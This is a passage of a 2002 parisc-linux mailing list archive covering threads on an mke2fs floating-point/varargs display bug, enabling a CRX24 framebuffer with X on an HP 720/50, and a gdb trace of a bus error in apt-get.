just wondered if it's just my machine.

-- 

patrick




From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mke2fs odd number:
Date: Mon, 17 Jun 2002 14:04:26 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020617140426.U9435@parcelfarce.linux.theplanet.co.uk>
References: <20020617095042.GE1177@tykepenguin.com> <1024316831.3d0dd59f20e61@webmail.tiscalinet.be> <20020617130211.GJ1177@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621402 9060 80.91.229.3 (22 Nov 2014 01:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 07:04:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65331484B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 07:04:27 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17JwBG-0007Be-00
	for parisc-linux@lists.parisc-linux.org; Mon, 17 Jun 2002 14:04:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020617130211.GJ1177@tykepenguin.com>; from patrick@tykepenguin.com on Mon, Jun 17, 2002 at 02:02:11PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15118

On Mon, Jun 17, 2002 at 02:02:11PM +0100, Patrick Caulfield wrote:
> void print_check_message(ext2_filsys fs)
> {
>         printf(_("This filesystem will be automatically "
>                  "checked every %d mounts or\n"
>                  "%g days, whichever comes first.  "
>                  "Use tune2fs -c or -i to override.\n"),
>                fs->super->s_max_mnt_count,
>                (double)fs->super->s_checkinterval / (3600 * 24));
> }

hehe.. passing a double to a varargs ... known bug ;-(  I think it's
fixed with gcc-3.1.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mke2fs odd number:
Date: Mon, 17 Jun 2002 14:27:11 +0200 (CEST)
Lines: 60
Approved: news@gmane.org
Message-ID: <1024316831.3d0dd59f20e61@webmail.tiscalinet.be>
References: <20020617095042.GE1177@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621403 9063 80.91.229.3 (22 Nov 2014 01:56:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Patrick Caulfield <patrick@tykepenguin.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 07:08:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id C442D484C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 07:08:02 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17JvbD-0006Pw-00; Mon, 17 Jun 2002 14:27:11 +0200
In-Reply-To: <20020617095042.GE1177@tykepenguin.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15119

Quoting Patrick Caulfield <patrick@tykepenguin.com>:

> Does anyone else get with from mke2fs:
> 
> This filesystem will be automatically checked every 22 mounts or
> 1.23076e-312 days, whichever comes first.  Use tune2fs -c or -i to
> override.

Also notice this last Friday (but no time to report.

> 
> I really hope it doesn't want to check the filesystem that often :)
> 
Dono, if tune2fs more relevant:

palinux:~# tune2fs -l /dev/sde1
tune2fs 1.27 (8-Mar-2002)
Filesystem volume name:   <none>
Last mounted on:          <not available>
Filesystem UUID:          9ef6bb62-df16-47c1-84ad-7a9ec6dc71a3
Filesystem magic number:  0xEF53
Filesystem revision #:    1 (dynamic)
Filesystem features:      has_journal filetype sparse_super
Filesystem state:         clean
Errors behavior:          Continue
Filesystem OS type:       Linux
Inode count:              262144
Block count:              523915
Reserved block count:     26195
Free blocks:              93589
Free inodes:              258235
First block:              0
Block size:               4096
Fragment size:            4096
Blocks per group:         32768
Fragments per group:      32768
Inodes per group:         16384
Inode blocks per group:   512
Last mount time:          Mon Jun 17 14:33:21 2002
Last write time:          Mon Jun 17 14:33:32 2002
Mount count:              4
Maximum mount count:      37
Last checked:             Fri Jun 14 19:09:41 2002
Check interval:           15552000 (6 months)
Next check after:         Wed Dec 11 18:09:41 2002
Reserved blocks uid:      0 (user root)
Reserved blocks gid:      0 (group root)
First inode:              11
Inode size:		  128
Journal UUID:             <none>
Journal inode:            8
Journal device:	          0x0000
First orphan inode:       0

Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Hettich <kujaku@fsmath.zbt.uni-heidelberg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mke2fs odd number:
Date: Mon, 17 Jun 2002 15:32:41 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20020617133241.GA7833@mathphys.fsk.uni-heidelberg.de>
References: <20020617095042.GE1177@tykepenguin.com> <1024316831.3d0dd59f20e61@webmail.tiscalinet.be> <20020617130211.GJ1177@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621403 9067 80.91.229.3 (22 Nov 2014 01:56:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 07:33:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay.uni-heidelberg.de (relay.uni-heidelberg.de [129.206.100.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0CF54847
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 07:32:57 -0600 (MDT)
Original-Received: from fsmath.zbt.uni-heidelberg.de (mail@fsmath.zbt.uni-heidelberg.de [129.206.91.26])
	by relay.uni-heidelberg.de (8.12.1/8.12.1) with ESMTP id g5HDWfOY004789
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 15:32:41 +0200 (MET DST)
Original-Received: from kujaku by fsmath.zbt.uni-heidelberg.de with local (Exim 3.35 #1 (Debian))
	id 17Jwcb-00024i-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 15:32:41 +0200
Content-Disposition: inline
In-Reply-To: <20020617130211.GJ1177@tykepenguin.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15120

On Mon, Jun 17, 2002 at 02:02:11PM +0100, Patrick Caulfield wrote:
> On Mon, Jun 17, 2002 at 02:27:11PM +0200, joel.soete@freebel.net wrote:
> > Quoting Patrick Caulfield <patrick@tykepenguin.com>:
> > 
> > > Does anyone else get with from mke2fs:
> > > 
> > > This filesystem will be automatically checked every 22 mounts or
> > > 1.23076e-312 days, whichever comes first.  Use tune2fs -c or -i to
> > > override.

Hi,
I got to a similar weird number of days, just a few hours ago, when
I did a "sudo tune2fs -j /dev/sda3". Its so ridiculous I just didn't
care, ext3 works fine :). I rebooted my gecko (712/60) 2 times since
then, no fsck occured so far.

some info on my machine/setup :

 uname -a :
Linux hitomi 2.4.18-32 #1 Sat Mar 30 18:26:22 MST 2002 parisc unknown

 dumpe2fs /dev/sda3 :
...
Filesystem features:      has_journal filetype needs_recovery sparse_super
Filesystem state:         clean
...
Last mount time:          Mon Jun 17 01:36:18 2002
Last write time:          Mon Jun 17 01:46:57 2002
Mount count:              10
Maximum mount count:      29
Last checked:             Sat Apr  6 08:32:16 2002
Check interval:           15552000 (6 months)
Next check after:         Thu Oct  3 08:32:16 2002
...

 versions of tune2fs and mke2fs : 1.27 (8-Mar-2002)

Ciao,
	martin der hettich



-- 
Interpunktion und Orthographie dieser Email ist frei erfunden.
Eine Uebereinstimmung mit aktuellen oder ehemaligen Regeln
waere rein zufaellig und ist nicht beabsichtigt.



From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mke2fs odd number:
Date: Mon, 17 Jun 2002 08:00:08 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020617150008.GB4540@tausq.org>
References: <20020617095042.GE1177@tykepenguin.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621403 9072 80.91.229.3 (22 Nov 2014 01:56:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 08:52:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BCC14849
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 08:52:22 -0600 (MDT)
Original-Received: (qmail 24597 invoked from network); 17 Jun 2002 14:52:20 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 17 Jun 2002 14:52:20 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 57E68CD293; Mon, 17 Jun 2002 08:00:08 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020617095042.GE1177@tykepenguin.com>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15121

In reference to a message from Patrick Caulfield, dated Jun 17:
> Does anyone else get with from mke2fs:
> 
> This filesystem will be automatically checked every 22 mounts or
> 1.23076e-312 days, whichever comes first.  Use tune2fs -c or -i to override.
> 
> I really hope it doesn't want to check the filesystem that often :)

yes, i've seen that many times in the past. my guess it's one of the
not-yet-fixed floating-point/varargs problems, but i haven't really
looked.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tentative success with CRX24 framebuffer and X on a 720/50
Date: 17 Jun 2002 13:24:16 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <1024334656.1594.311.camel@romano-nyswri>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621404 9075 80.91.229.3 (22 Nov 2014 01:56:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 11:25:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano-nyswri.cfe.cornell.edu (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id 859B0484A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 11:25:16 -0600 (MDT)
Original-Received: (from romano@localhost)
	by romano-nyswri.cfe.cornell.edu (8.11.6/8.8.7) id g5HHOGh11803;
	Mon, 17 Jun 2002 13:24:16 -0400
X-Authentication-Warning: romano-nyswri.cfe.cornell.edu: romano set sender to spacenka@lightlink.com using -f
X-Mailer: Ximian Evolution 1.0.6.99 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15122

Friends,

I posted a request for advice about this on the list a couple of weeks
ago.  The 0.9.3 CD installed well, and then I did a dist-upgrade and
fiddled with kernel compiles to get fbcon and X going.

1. Trial and error within the kernel led to two one-line insertions in
stifb.c (starting with 1.30.2.1 in CVS) enabled CRX24 framebuffer
(a.k.a. HPA1439A) initialization at 32 bpp and correctly blanked the
text overlay plane.  Welcome to the penguin and color text.

Change #1: In function

  stifb_init_fb(struct sti_struct *sti, int force_bpp)

of /usr/src/linux/drivers/video/sti/stifb.c insert

  (fb->id != S9000_ID_A1439A) &&

as another line within the #if 1 #endif hack that prevents
initialization of any but the listed hardware.


Change #2: In function

  stifb_set_disp(struct stifb_info *fb)

insert

  ngleClearOverlayPlanes(fb, 0xff, 0);

before the break; within the "clear attribute planes" switch for this
case.

Change #3: Verify these settings in /usr/src/linux/.config

  CONFIG_FBCON=y
  CONFIG_FBCON_CFB8=y
  CONFIG_FBCON_CFB32=y
  CONFIG_FBCON_STI=y

(CFB8 is for a forthcoming test of 8-bit depth. 24 bits unaccelerated is
somewhat slow with X on this box.)


2. Telling XF86Config-4 that there is a 32 bit framebuffer having 24 bit
depth allowed X to start.  Welcome to a Gnome 1.4 splashscreen.


Performance of the console framebuffer is not bad, slightly slower than
the monochrome text that preceded it.  It's nice to have color.  No
apparent problems with the default font and 24bpp.

Performance under X was better than I expected considering the CPU
speed, the 24 bit depth, and the non-acceleration.  An 8-bit depth (if
achievable) and a lighter weight desktop than gnome+sawfish (windowmaker
perhaps) could get X close to routinely usable.  Except for a frequently
unresponsive serial mouse (very old M$ mouse) I experienced no basic
problems within X.

-- thanks, SP




From - Thu Nov 08 21:23:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP
Date: 17 Jun 2002 14:43:49 -0600
Lines: 250
Approved: news@gmane.org
Message-ID: <1024346629.27050.52.camel@beavis>
References: <200206170412.g5H4CGP8011158@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621404 9078 80.91.229.3 (22 Nov 2014 01:56:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, richard_hirst@linuxcare.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 14:44:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22512484F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 14:44:04 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 76E59BCCF; Mon, 17 Jun 2002 14:43:49 -0600 (MDT)
In-Reply-To: <200206170412.g5H4CGP8011158@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15123

John et all,

I recompiled the debian apt-get package this time leaving the debug
symbols intact.  


Here is the function that is causing the failure:

// DynamicMMap::Allocate - Pooled aligned allocation                   
/*{{{*/
// ---------------------------------------------------------------------
/* This allocates an Item of size ItemSize so that it is aligned to its
   size in the file. */
unsigned long DynamicMMap::Allocate(unsigned long ItemSize)
{
   // Look for a matching pool entry
   Pool *I;
   Pool *Empty = 0;
   for (I = Pools; I != Pools + PoolCount; I++)
   {
      if (I->ItemSize == 0)
         Empty = I;
      if (I->ItemSize == ItemSize)
         break;
   }

   // No pool is allocated, use an unallocated one
   if (I == Pools + PoolCount)
   {
      // Woops, we ran out, the calling code should allocate more.
      if (Empty == 0)
      {
         _error->Error("Ran out of allocation pools");
         return 0;
      }

      I = Empty;
      I->ItemSize = ItemSize;
      I->Count = 0;
   }

   // Out of space, allocate some more
   if (I->Count == 0)
   {
      I->Count = 20*1024/ItemSize;
      I->Start = RawAllocate(I->Count*ItemSize,ItemSize);
   }

   I->Count--;
   unsigned long Result = I->Start;
   I->Start += ItemSize;
   return Result/ItemSize;
}


Here is my gdb output while tracing the failure:

root@rebel:~# gdb /usr/bin/apt-get 
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "hppa-linux"...

(gdb) b main
Breakpoint 1 at 0x27ea4: file apt-get.cc, line 2134.

(gdb) run install less
Starting program: /usr/bin/apt-get install less

Breakpoint 1, main (argc=3, argv=0x46e66) at apt-get.cc:2134
2134	   CommandLine CmdL(Args,_config);

(gdb) b DynamicMMap::Allocate
Breakpoint 2 at 0x40050358: file contrib/mmap.cc, line 229.

(gdb) continue
Continuing.
Reading Package Lists... 0%
Breakpoint 2, DynamicMMap::Allocate(unsigned long) (this=0x4c900,
ItemSize=275112) at contrib/mmap.cc:229
229	   Pool *Empty = 0;

(gdb) bt
#0  DynamicMMap::Allocate(unsigned long) (this=0x4c900, ItemSize=275112)
at contrib/mmap.cc:229
#1  0x400ba64c in pkgCacheGenerator::SelectFile(std::string,
std::string, pkgIndexFile const&, unsigned long) (this=0xbff01020, File=
        {static npos = 4294967295, _M_dataplus = {<allocator<char>> =
{<No data fields>}, _M_p = 0x489f4 "/var/lib/dpkg/status"}, static
_S_empty_rep_storage = {0, 0, 1, 18, 1, 0}}, Site={static npos =
4294967295, _M_dataplus = {<allocator<char>> = {<No data fields>}, _M_p
= 0x432b4 ""}, static _S_empty_rep_storage = {0, 0, 1, 18, 1, 0}},
Index=@0x4bda0, 
    Flags=1) at pkgcachegen.cc:404
#2  0x400e5a14 in debStatusIndex::Merge(pkgCacheGenerator&, OpProgress&)
const (this=0x4bda0, Gen=@0xbff01020, Prog=@0xbff00d90) at
/usr/include/g++-v3/bits/basic_string.h:863
#3  0x400bbf8c in BuildCache(pkgCacheGenerator&, OpProgress&, unsigned
long&, unsigned long, std::__normal_iterator<pkgIndexFile**,
std::vector<pkgIndexFile*, std::allocator<pkgIndexFile*> > >,
std::__normal_iterator<pkgIndexFile**, std::vector<pkgIndexFile*,
std::allocator<pkgIndexFile*> > >) (Gen=@0xbff01020,
Progress=@0xbff00d90, CurrentSize=@0xbff01190, 
    TotalSize=107592,
Start={<iterator<std::random_access_iterator_tag,pkgIndexFile*,int,pkgIndexFile**,pkgIndexFile*&>> = {<No data fields>}, _M_current = 0x4c578}, End=
     
{<iterator<std::random_access_iterator_tag,pkgIndexFile*,int,pkgIndexFile**,pkgIndexFile*&>> = {<No data fields>}, _M_current = 0x4c57c})
    at /usr/include/g++-v3/bits/stl_iterator.h:478
#4  0x400bd280 in pkgMakeStatusCache(pkgSourceList&, OpProgress&,
MMap**, bool) (List=@0xbff01020, Progress=@0xbff00d90,
OutMap=0xbff00990, AllowMem=224)
    at /usr/include/g++-v3/bits/stl_vector.h:187
#5  0x400ad8d4 in pkgCacheFile::Open(OpProgress&, bool)
(this=0xbff00990, Progress=@0xbff00d90, WithLock=true) at
cachefile.cc:70
#6  0x0002b794 in CacheFile::Open(bool) (this=0xbff00990, WithLock=56)
at apt-get.cc:85

(gdb) n
DynamicMMap::Allocate(unsigned long) (this=0x4c900, ItemSize=275112) at
contrib/mmap.cc:226
226	{   

(gdb) n
DynamicMMap::Allocate(unsigned long) (this=0x4c900, ItemSize=56) at
contrib/mmap.cc:230
230	   for (I = Pools; I != Pools + PoolCount; I++)

(gdb) n
232	      if (I->ItemSize == 0)

(gdb) n
234	      if (I->ItemSize == ItemSize)

(gdb) n
230	   for (I = Pools; I != Pools + PoolCount; I++)

(gdb) n
234	      if (I->ItemSize == ItemSize)

(gdb) n
230	   for (I = Pools; I != Pools + PoolCount; I++)

(gdb) n
234	      if (I->ItemSize == ItemSize)

(gdb) n
230	   for (I = Pools; I != Pools + PoolCount; I++)

(gdb) n
234	      if (I->ItemSize == ItemSize)

(gdb) n
230	   for (I = Pools; I != Pools + PoolCount; I++)

(gdb) n
234	      if (I->ItemSize == ItemSize)

(gdb) n
230	   for (I = Pools; I != Pools + PoolCount; I++)

(gdb) n
234	      if (I->ItemSize == ItemSize)

(gdb) n
230	   for (I = Pools; I != Pools + PoolCount; I++)

(gdb) n
234	      if (I->ItemSize == ItemSize)

(gdb) n
239	   if (I == Pools + PoolCount)

(gdb) n
254	   if (I->Count == 0)


========> Things get interesting here <=======

(gdb) n
261	   unsigned long Result = I->Start;

(gdb) n
263	   return Result/ItemSize;

(gdb) n
260	   I->Count--;

(gdb) n
263	   return Result/ItemSize;

(gdb) n

260	   I->Count--;
(gdb) n

Program received signal SIGBUS, Bus error.
DynamicMMap::Allocate(unsigned long) (this=0x4c900, ItemSize=56) at
contrib/mmap.cc:263
263	   return Result/ItemSize;


It looks like the the function gets exited twice.... but I do not see
any recursion in the function, and the function is not listed twice
in the origional back trace I posted.  Do we have a corrupt stack?
or can you think of anything else?  I would be glad to provide any
additional debugging output to anyone interested.  I can also give
remote access to this system if someone is interested in looking
this further.

Thanks,

- Ryan



On Sun, 2002-06-16 at 22:12, John David Anglin wrote:
> > any way I can tell from the binary?
> 
> Not that I am aware of.  On further thought, I think the user code is ok.
> 
> Studying you original message further, I see that the printout from
> unaligned.c is fully consistent with the register dump and user code.
> Thus, I have to think that the problem is actually in the kernel.
> 
> If the failure occurs all the time, I would put a break at 0x4005e47c
> and then set a large ignore count.  Run the program and see how many
> times the break is hit before the fault occurs.  Then, set the ignore
> count to 1 less than the number of hits and rerun.  If the fault is
> deterministic, you should be able to determine the exact conditions
> which cause the "trap".
> 
> Oh, I remember that gdb may not print r3 correctly with info reg.
> It's better to use p $r3 or printf "0x%x\n", $r3.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
> 





From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tentative success with CRX24 framebuffer and X on a 720/50
Date: Mon, 17 Jun 2002 23:52:35 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <200206172352.35578.deller@gmx.de>
References: <1024334656.1594.311.camel@romano-nyswri>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621404 9080 80.91.229.3 (22 Nov 2014 01:56:44 GMT)
